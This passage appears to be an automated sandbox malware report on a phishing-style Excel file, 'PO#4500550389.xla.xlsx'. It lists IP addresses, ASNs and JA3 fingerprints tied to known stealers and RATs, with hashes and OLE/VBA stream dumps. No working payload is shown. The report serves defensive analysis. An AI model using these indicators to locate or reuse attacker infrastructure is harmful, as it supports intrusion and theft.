	theants-2.0.3-Setup-dkp3z.7x5ols.spqn44#U007ex.exe	Get hash	malicious	Sality	Browse	217.20.57.34
	AgnotSecurity.exe	Get hash	malicious	Unknown	Browse	217.20.57.36
	file.exe	Get hash	malicious	Vidar	Browse	84.201.210.23
	GalaxySoft.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.57.20
	Down-2021.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	GlitchNote.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	MBRWrite.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	Setup.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	217.20.57.19
	v7942.exe	Get hash	malicious	Stealc, Vidar	Browse	217.20.57.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	clearpicturewithmebestthingsforgivenmebest.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	172.245.123.24
	needagoodplanforsuccesstogetbackbest.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	23.95.235.28
	needagoodplanforsuccesstogetbackbest.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	23.95.235.28
	niceworkingskillgivenmebest.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	198.12.89.24
	verynicegirlgivenmebestwordforgreatnesswithgoodthings.hta	Get hash	malicious	Unknown	Browse	192.3.95.138
	Build.exe	Get hash	malicious	StormKitty	Browse	23.94.126.116
	h2wb5_002.exe	Get hash	malicious	DarkVision Rat	Browse	104.168.28.10
	dBKUxeI.exe	Get hash	malicious	AsyncRAT, DarkVision Rat	Browse	104.168.28.10
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Xmrig	Browse	107.174.192.179
	earereallyniceloverwithgreatthingsonthatkissinggirlonme.hta	Get hash	malicious	Remcos	Browse	172.245.191.88
TIMEWEB-ASRU	pered.exe	Get hash	malicious	Unknown	Browse	2.59.41.142
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	188.225.72.170
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	188.225.72.170
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	188.225.72.170
	_________03M4138.docx.bin.doc	Get hash	malicious	Unknown	Browse	188.225.72.170
	_________03M4138.docx.bin.doc	Get hash	malicious	Unknown	Browse	188.225.72.170
	niga.jar	Get hash	malicious	Unknown	Browse	2.59.41.142
	GjThRAJ.exe	Get hash	malicious	Unknown	Browse	2.59.41.142
	splx86.elf	Get hash	malicious	Unknown	Browse	92.53.113.157
	i686.elf	Get hash	malicious	Mirai	Browse	188.225.75.215
MICROSOFT-CORP-MSN-AS-BLOCKUS	hgfs.ppc.elf	Get hash	malicious	Unknown	Browse	13.99.168.12
	hgfs.arm5.elf	Get hash	malicious	Unknown	Browse	52.101.21.152
	hgfs.mpsl.elf	Get hash	malicious	Unknown	Browse	13.76.184.174
	hgfs.arm.elf	Get hash	malicious	Unknown	Browse	52.173.237.73
	hgfs.mips.elf	Get hash	malicious	Unknown	Browse	20.168.115.135
	Ux0UEsDo6vJYire.exe	Get hash	malicious	FormBook	Browse	204.79.197.203
	fa09d24d7481dbdfc1cff6aaa92d2aec908e037a22a02346f6feeee5d6ba688e.exe	Get hash	malicious	Sality	Browse	131.253.33.254
	custom.exe	Get hash	malicious	Sality	Browse	204.79.197.203
	e9f03b80e02865689b68e810996cea747718f9e4ed21cad621fa7a014cdab7c8.exe	Get hash	malicious	Sality	Browse	204.79.197.203
	hgfs.ppc.elf	Get hash	malicious	Unknown	Browse	52.155.78.59

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
6271f898ce5be7dd52b0fc260d0662b3	windows-7-ultimate-x64-sp1.iso.exe	Get hash	malicious	Unknown	Browse	188.225.72.170
	Andrej Simulator X.exe	Get hash	malicious	Unknown	Browse	188.225.72.170
	test2.exe.bin.exe	Get hash	malicious	XWorm	Browse	188.225.72.170
	FleshPowerV2.exe	Get hash	malicious	Babadeda	Browse	188.225.72.170
	FleshPowerV2.exe	Get hash	malicious	Babadeda	Browse	188.225.72.170
	Busy2.0.exe	Get hash	malicious	Babadeda	Browse	188.225.72.170
	MSBuild.exe	Get hash	malicious	Unknown	Browse	188.225.72.170
	Our Order.xls	Get hash	malicious	Unknown	Browse	188.225.72.170
	Proof of Payment and Statement.xls	Get hash	malicious	Unknown	Browse	188.225.72.170
	APC2_240708172813545null_847608629.xls	Get hash	malicious	Unknown	Browse	188.225.72.170
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Win64.MalwareX-gen.7894.13424.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60
	SecuriteInfo.com.Trojan.PWS.Lumma.1819.24534.32219.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60
	stk.dll	Get hash	malicious	Unknown	Browse	13.107.246.60
	12Kp1xbcjv.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	SystemProcess18.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	13.107.246.60
	Setup.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	Setup.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	2PFebPN0qK.exe	Get hash	malicious	Latrodectus, LummaC Stealer	Browse	13.107.246.60
	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Unknown	Browse	13.107.246.60

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Temp\E3505C79.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	784
Entropy (8bit):	2.7137690747287806
Encrypted:	false
SSDEEP:	24:YIrNvpKAzLRwcfHGF8AJp9WtAZRJ5poIHWI:YmbfzLmc88AJtfJ52IHV
MD5:	09F73B3902CD3D88E04312787956B654
SHA1:	A6C275F1A65DB02D8A752C614C27E88326447C41
SHA-256:	72971990E5DC57AC8F4F27701158F6DC16E235814EA17DECA95E59CF5F60BC26
SHA-512:	6A68530BA4D4413B587E340CF871162036B6AC60AC0F969C07C70967C3102ADDE3C895BA6F1E2590D9D0C98C253ADFA33CA84E65106C3B56F506FE0E06F0ADA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	3.7.4.6.3.7.6.,.1.1.9.6.3.7.8.,.1.7.8.8.6.5.8.,.2.5.5.0.5.0.8.8.,.1.2.5.,.1.1.9.,.3.0.0.4.9.2.6.8.,.;.3.2.9.4.5.8.7.9.9.,.3.7.4.6.3.7.8.,.6.3.6.4.3.3.4.,.3.0.1.5.3.7.2.1.,.2.3.7.1.6.5.1.,.6.5.4.0.2.1.5.,.2.4.6.0.9.2.5.8.,.4.0.6.9.3.5.8.2.,.1.0.4.9.5.2.3.4.,.6.3.6.4.3.1.8.,.3.0.1.2.3.4.6.6.,.2.7.1.5.3.4.9.7.,.6.3.7.1.6.9.4.,.5.9.2.2.3.4.2.3.,.5.7.9.9.9.6.6.1.,.1.5.6.1.9.5.8.,.6.3.0.6.3.0.9.9.,.2.7.3.6.0.0.9.5.,.5.8.4.2.5.8.6.0.,.6.3.6.4.3.3.7.,.6.1.7.0.7.3.0.7.,.6.3.6.4.3.3.0.,.6.3.6.4.3.3.1.,.6.7.4.8.3.9.6.1.4.,.3.3.7.9.1.6.2.,.4.7.3.8.2.9.4.8.,.1.6.5.7.4.5.3.,.1.0.6.9.5.5.2.,.1.6.5.7.4.5.2.,.5.2.9.1.0.0.0.0.,.1.3.5.2.5.8.6.,.1.3.5.2.5.8.7.,.1.7.7.1.6.5.7.,.1.0.2.3.8.6.4.,.1.0.2.3.6.3.8.,.6.3.7.1.6.9.5.,.4.8.1.9.5.5.3.8.,.1.4.6.1.9.5.3.,.6.3.6.4.3.3.2.,.3.2.0.5.9.2.7.6.7.,.

C:\Users\user\AppData\Local\Temp\~DFE7FB744BCB7D127A.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$PO#4500550389.xla.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.7769794087092887
Encrypted:	false
SSDEEP:	3:iXKG/4N+RMlW8td:iXlMlW8/
MD5:	37BD8218D560948827D3B948CAFA579C
SHA1:	24347FB0A66F2DA8AD3BAB818E3C24977104E5DA
SHA-256:	189E2D5600E0CC41F498D2EB22FA451F81746DCDBAA3EC1146A22C3A74452DA6
SHA-512:	A34D703FEBFD9E45A57BF047D9CCF890482B0F7CD3788F9BFD89DECA13B96DD4F43BDB0C4D81CC716DEAC37BCD1C393A7BCB159B471B5721B367E4884B17C699
Malicious:	true
Preview:	.user ..f.r.o.n.t.d.e.s.k. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Mar 17 02:57:46 2025, Security: 1
Entropy (8bit):	7.832961984010229
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	PO#4500550389.xla.xlsx
File size:	1'172'480 bytes
MD5:	f871e42b797cf70e3ee4a79e21f02197
SHA1:	b03ebab29eab8c27f1a814494953147a9b90322f
SHA256:	ecc360802ade998b33380472d1b5ce4dc95e4039daf93123ba3885e2716dc012
SHA512:	f641e3a231b6b0896fc35749ddcac371e5d5b46c07b0256eb8bf77d73e63eb149816d274c6b17c263481fbc54993e2b52d029f9fc7ca3f84ccc54043d14b3c76
SSDEEP:	24576:BLA6DHtWjejsk4McupJIwgxIOXR8YhbBWvdp8tLUWBMDcaPFKM:+SaejH4MTpzguM8YkpwLUwhM
TLSH:	01450294EFC05A26CA0D02350FE38B5C5A15EEEA5745620F3235BE1D3EB6B3E0B72519
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	35e58a8c0c8a85b9

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "PO#4500550389.xla.xlsx"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2025-03-17 02:57:46
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 10 08 97 a3 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . % _ . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 10 08 25 5f 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ` % . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 10 08 60 25 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 10 08 32 10 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2503503175049815
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . # \\ . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD00C9763A/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD00C9763A/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00C9763A/\x5DocumentSummaryInformation, File Type: data, Stream Size: 296

General
Stream Path:	MBD00C9763A/\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	296
Entropy:	3.2973193143624515
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . S h e e t 1 ! P r i n t _ A r e a . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f8 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 b7 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: MBD00C9763A/\x5SummaryInformation, File Type: data, Stream Size: 31156

General
Stream Path:	MBD00C9763A/\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	31156
Entropy:	3.1876994904322484
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . y . . . . . . . . . . P . . . . . . . X . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . K e n n y C h e u n g . . . . . . . . . . . . 9 1 9 7 4 . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . m . . . @ . . . . _ ~ . \\ S . @ . . . . . . . . . . . . G . . . x . . . . . . . . 0 . . . . . . . . . . T < . . . . . . . . . . . . . . & .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 84 79 00 00 09 00 00 00 01 00 00 00 50 00 00 00 04 00 00 00 58 00 00 00 08 00 00 00 70 00 00 00 12 00 00 00 80 00 00 00 0b 00 00 00 98 00 00 00 0c 00 00 00 a4 00 00 00 0d 00 00 00 b0 00 00 00 13 00 00 00 bc 00 00 00 11 00 00 00 c4 00 00 00

Stream Path: MBD00C9763A/MBD00320C7F/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD00C9763A/MBD00320C7F/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00C9763A/MBD00320C7F/Package, File Type: Microsoft Excel 2007+, Stream Size: 613686

General
Stream Path:	MBD00C9763A/MBD00320C7F/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	613686
Entropy:	7.989056691241232
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . X . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 1a 58 13 82 c0 01 00 00 90 07 00 00 13 00 bb 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 b7 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00C9763A/MBD00321A49/\x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	MBD00C9763A/MBD00321A49/\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.219515110876372
Base64 Encoded:	False
Data ASCII:	. . . . . . 0 . . . . . . . . . . . . . F ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . E x c e l . S h e e t . 1 2 . 9 q . . . . . . . . . . . .
